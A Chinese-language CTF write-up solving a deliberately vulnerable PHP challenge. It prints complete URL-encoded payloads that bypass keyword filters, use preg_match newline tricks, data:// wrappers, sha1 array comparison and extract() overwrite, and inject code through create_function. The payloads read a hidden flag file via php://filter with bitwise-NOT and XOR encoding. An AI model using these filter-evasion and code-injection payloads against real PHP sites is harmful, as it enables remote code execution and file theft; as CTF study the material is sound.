查看源代码,在顶部找到提示:
<!-- Here is the real page =w= --> <!-- GFXEIM3YFZYGQ4A= -->
因为是由大写字母和数字组成,考虑base32,解码得到1nD3x.php。
源码如下:
<?php highlight_file(__FILE__); error_reporting(0); $file = "1nD3x.php"; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = ''; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>"; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>
有点长长,分段看:
0x00 $_SERVER[‘QUERY_STRING’]
if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }
查询(query)的字符串。简单的理解就是,如果你输入一个网址:www.baidu.com?test=1&test2=2 那么就是说?之后带的字符就是,不管你输入什么。它有一个特性:它不会对url编码进行解码。所以这里直接编码就可以绕过。(安利小葵转换工具,很好用~
0x01 preg_match
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!');
若preg_match(‘/^.*$/’,subject),preg_match只会匹配第一行。参考文章:戳我,在debu参数后加%0a即可。
0x02 $_REQUEST
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
它接收$_GET和$_POST的数据,如果get和post一样的参数名,它会优先选择post形式传入的参数的值。
0x03 file_get_contents($file)
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
$file的内容必须全等于”debu_debu_aqua”,我比较喜欢用php://input,它可以读取没有处理过的POST数据。还可以用data://
data://text/plain,<?php phpinfo()?>
也可以
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
到这里,我测试了一下:
【GET】file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute%0a
【POST】file=1&debu=2
当然不编码是不行的,继续Q Q
【GET】file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a
【POST】file=1&debu=2
成功绕过,继续分析下一部分:
0x04 sha1 & extract
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
md5和sha1对一个数组进行加密将返回NULL,而NULL===NULL返回true,所以可绕过判断。
extract函数会注册变量,可以用来覆盖$code或$arg。
使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即
flag[code]
和flag[arg]
的形式
0x05 create_function()代码注入
重头大戏来惹。
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); }
create_function()
函数有两个参数$args
和$code
,用于创建一个lambda样式的函数
比如:
$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:
function myfunc($a, $b){ return $a+$b; }
但是如果第二个参数没有限制($code=return$a+$b;}eval($_POST['cmd']);//
),就会变成:
function myfunc($a, $b){ return $a+$b; } eval($_POST['cmd']);//}
通过手工闭合}
使后面的代码eval()
逃逸出了myFunc()
得以执行,然后利用注释符//
注释掉}
保证了语法正确。
这道题就可以用flag[code]=create_function来创建一个函数,用flag[arg]去闭合它,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组,别忘记最后注释掉后面的内容保证语法准确。
到这里的payload如下:
【GET】file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
【POST】file=1&debu=2编码后:
【GET】file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(get_defined_vars());//
【POST】file=1&debu=2
可以看到最底下有这么一句:
Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333
得到了真实的flag文件的名字,下面记录下我学到的获得flag的多种方式。
方法一
考虑用filter流读取flag文件,又因为“inc”、单引号、双引号都被过滤了,所以考虑用require代替include,按位取反绕过单双引号的限制。
php中有4个位运算,分别是&与 |或 ^异或 ~取反
& 两位全为1,结果为1
| 有一位为1,结果为1
^ 一个为0,一个为1,结果为1
~ 取反0->1,1->0
<?php $str = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p"; $arr1 = explode(' ', $str); echo "<br>~("; foreach ($arr1 as $key => $value) { echo "%".bin2hex(~$value); } echo ")<br>"; ?>
payload(点Raw查看全部):
【GET】?file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
【POST】file=1&debu=2
解码后: file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
解码得到flag。
方法二
原题第二种解法是将rea1fl4g.php按位异或,用require包含进去,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组,以下是我用python3写的异或脚本:
#Author: Root. #Blog: shawroot.cc def stringxor(str1): orxstr="" for i in range(0,len(str1)): rst = ord(list(str1)[i])^0xff print(str(hex(rst)).replace("0x","%"),end="") str1 = "rea1fl4g.php" stringxor(str1) print("^",end="") print("%ff"*len(str1))
运行得到:
%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff
但是BUU上这道题偷偷的把异或符号过滤掉了,所以这种方法在BUU上不可复现。
方法三
预期解法是用require将rea1fl4g.php包含进去,又因为“.”被过滤,所以用base64编码一下,再调用解码函数,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组即可。
payload如下:
【GET】?file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(%62%61%73%65%36%34%5F%64%65%63%6F%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
【POST】file=1&debu=2
解码后: file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
还有几种骚操作有待学习,会补充。
⚪参考: